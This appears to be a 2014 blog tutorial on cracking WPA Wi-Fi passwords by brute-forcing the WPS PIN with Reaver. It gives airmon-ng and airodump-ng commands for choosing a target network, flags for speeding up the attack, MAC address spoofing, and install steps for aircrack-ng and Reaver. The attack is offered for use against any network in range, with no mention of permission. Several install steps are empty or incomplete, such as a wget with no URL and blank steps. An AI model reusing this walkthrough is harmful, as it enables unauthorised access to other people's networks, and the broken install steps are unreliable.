Monday, May 5, 2014

  Crack a Wi-Fi  WPA Password

Step 1: Install Airmon-ng Suite 
Step 2: Install Reaver

Step 3: To get root privileges, in terminal type:

# sudo -s

Step 4: Find your wireless card.Inside terminal type:

# iwconfig

Step 5: Put your wireless card into monitor mode.Assuming your wireless card's interface name is wlan0, execute the following command to put your wireless card into monitor mode:

# airmon-ng start wlan0

Step 6: In terminal type:

# airodump-ng mon0

It will display a list of wireless networks in range. When you see the network you want to crack, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (MAC address of the targeted network). The network should have WPA or WPA2 listed under the ENC column.

Step 7: Now we start cracking password with Reaver. 

# reaver -i moninterface -b bssid -vv

For example, if your monitor interface was mon0 like mine, and your BSSID was 7F:AC:6B:MB:1F:B2 (a BSSID I just made up), your command would look like:

# reaver -i mon0 -b 7F:AC:6B:MB:1F:B2 -vv

Now sit back and relax as Reaver will now try a series of PINs on the router in a brute force attack. The Reaver documentation says it can take between 4 and 10 hours.

Speeding Up the Attack

By default, Reaver has a 1 second delay between pin attempts. You can disable this delay by adding '-d 0' on the command line, but some APs may not like it:

# reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0

Another option that can speed up an attack is --dh-small. This option instructs Reaver to use small diffie-hellman secret numbers in order to reduce the computational load on the target AP:

# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small

MAC Spoofing

In some cases you may want/need to spoof your MAC address. Reaver supports MAC spoofing with the --mac option, but you must ensure that you have spoofed your MAC correctly in order for it to work.
Changing the MAC address of the virtual monitor mode interface (typically named mon0) WILL NOT WORK. You must change the MAC address of your wireless card's physical interface. For example:

# ifconfig wlan0 down
# ifconfig wlan0 hw ether 00:BA:AD:BE:EF:69
# ifconfig wlan0 up
# airmon-ng start wlan0
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --mac=00:BA:AD:BE:EF:69

Install Aircrack-ng

Install Aircrack-ng 

Run the following commands(in "Bold") in the terminal.
Step 1: "sudo -s"
Type your password.

Step 2: "apt-get install build-essential"

Step 3: "sudo apt-get install libssl-dev"

Now we have installed the dependencies, we move to our next step that is downloading the source of Aircrack-ng.

Step 4: "wget"

Step 5: "tar -zxvf aircrack-ng-1.1.tar.gz"

Step 6: After the download, there will be a file called common.mak in the dirctory downloads/aircrack-ng-1.1 .use your favorite editor to open the file and scroll down till you see the following line.
CFLAGS ?= -g -W -Wall -Werror -O3
Delete the -Werror variable, so that the line now looks like the following.
CFLAGS ?= -g -W -Wall -O3
Save and Exit.
Step 7: Copy the whole aircrack-ng-1.1 folder and paste it in the Home Directory.
Step 8: "cd aircrack-ng-1.1"
Step 9: "make"
Step 10: "make install"
You Aircrack-ng is up and running

Install Reaver on Ubuntu

Install Reaver on Ubuntu

Run the following commands("Bold") in the terminal. ( Press Ctrl+Alt+T)
Step 1:
 "sudo -s"

Type your password.

Installing Dependencies and required tools.

Step 2:
 "sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev"

Now we have the Dependencies and required tools. We can download the Reaver Source and Install it.

Step 3:

Extracting the tar package.

Step 4:
"tar -xzvf reaver-1.4.tar.gz"

Compiling and making install.

Step 5:
 "cd reaver-1.4"

Step 6:
"cd src"

Step 7:

Step 8:

Step 9:
"sudo make install"

Reaver is now installed and ready to use.